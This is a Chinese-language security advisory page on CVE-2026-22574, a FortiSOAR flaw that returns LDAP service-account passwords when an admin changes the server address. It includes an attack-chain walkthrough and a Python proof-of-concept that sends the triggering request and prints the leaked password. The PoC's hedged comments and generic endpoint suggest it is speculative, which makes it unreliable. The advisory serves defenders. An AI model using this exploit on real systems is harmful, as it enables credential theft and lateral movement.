IPBUF安全漏洞报告
English
CVE-2026-22574 CVSS 4.1 中危

CVE-2026-22574 Fortinet FortiSOAR密码可恢复漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-22574
漏洞类型
信息泄露
CVSS评分
4.1 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Fortinet FortiSOAR

相关标签

CVE-2026-22574FortinetFortiSOAR信息泄露凭据窃取权限提升

漏洞概述

Fortinet FortiSOAR在PaaS及本地部署的多个版本中存在密码以可恢复格式存储的漏洞。经过身份验证的远程攻击者可通过修改LDAP配置中的服务器地址,成功检索并获取敏感的服务账户密码。该漏洞需高权限,可能导致凭据泄露及后续的横向移动风险。

技术细节

该漏洞的成因是FortiSOAR在处理LDAP配置更新请求时,对敏感数据保护不足。系统以可逆加密或特定格式存储了服务账户密码。具备高权限的攻击者通过向内部API发送特定的配置修改请求(例如更改LDAP服务器地址),可诱导服务器在响应数据包中回显该密码。利用此漏洞,攻击者无需复杂的解密操作即可直接获得用于集成服务的敏感凭据。一旦获取密码,攻击者可能利用该凭据横向移动至LDAP服务器或其他关联的基础设施,造成更严重的数据泄露风险。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者通过钓鱼或凭据窃取等手段,获取FortiSOAR系统的管理员或高权限账户凭证。
STEP 2
步骤2:访问配置接口
攻击者登录系统,导航至LDAP配置管理页面或直接调用后台API接口。
STEP 3
步骤3:触发漏洞
攻击者修改LDAP配置中的服务器地址参数,并保存更改。系统在处理该请求时,错误地返回了服务账户的密码(或可恢复格式的密码)。
STEP 4
步骤4:窃取凭据
攻击者从服务器响应中提取出明文或弱加密的LDAP服务账户密码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-22574: Fortinet FortiSOAR Password Recovery # Pre-condition: Attacker has valid high-privileged session cookie/token. target_host = "https://<fortisoar-host>" ldap_config_endpoint = "/api/ldap/configuration" # Headers simulating an authenticated admin headers = { "Authorization": "Bearer <VALID_ADMIN_TOKEN>", "Content-Type": "application/json", "Accept": "application/json" } # Payload to modify LDAP server address # This action triggers the vulnerability, causing the password to be returned in a recoverable format. payload = { "name": "LDAP_Config", "server_address": "192.168.1.100", # Modified address to trigger save/response "port": 389, "admin_dn": "cn=admin,dc=example,dc=com" # The service account password might be returned in the response or stored insecurely } try: response = requests.post(target_host + ldap_config_endpoint, json=payload, headers=headers, verify=False) if response.status_code == 200: data = response.json() # Analyze response for leaked credentials if "service_password" in data or "password" in data: print("[+] Vulnerability confirmed! Password leaked:") print(data.get("service_password")) else: print("[!] Request successful, check response body manually for hidden password fields.") print(data) else: print(f"[-] Failed to exploit. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")

影响范围

FortiSOAR PaaS 7.3 所有版本
FortiSOAR PaaS 7.4 所有版本
FortiSOAR PaaS 7.5.0 - 7.5.2
FortiSOAR PaaS 7.6.0 - 7.6.4
FortiSOAR on-premise 7.3 所有版本
FortiSOAR on-premise 7.4 所有版本
FortiSOAR on-premise 7.5.0 - 7.5.2
FortiSOAR on-premise 7.6.0 - 7.6.4

防御指南

临时缓解措施
在未升级补丁前,建议加强网络访问控制,仅允许可信IP地址访问FortiSOAR管理界面。同时,管理员应立即轮换所有可能受影响的服务账户密码,并开启详细的审计日志以追踪潜在的配置篡改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表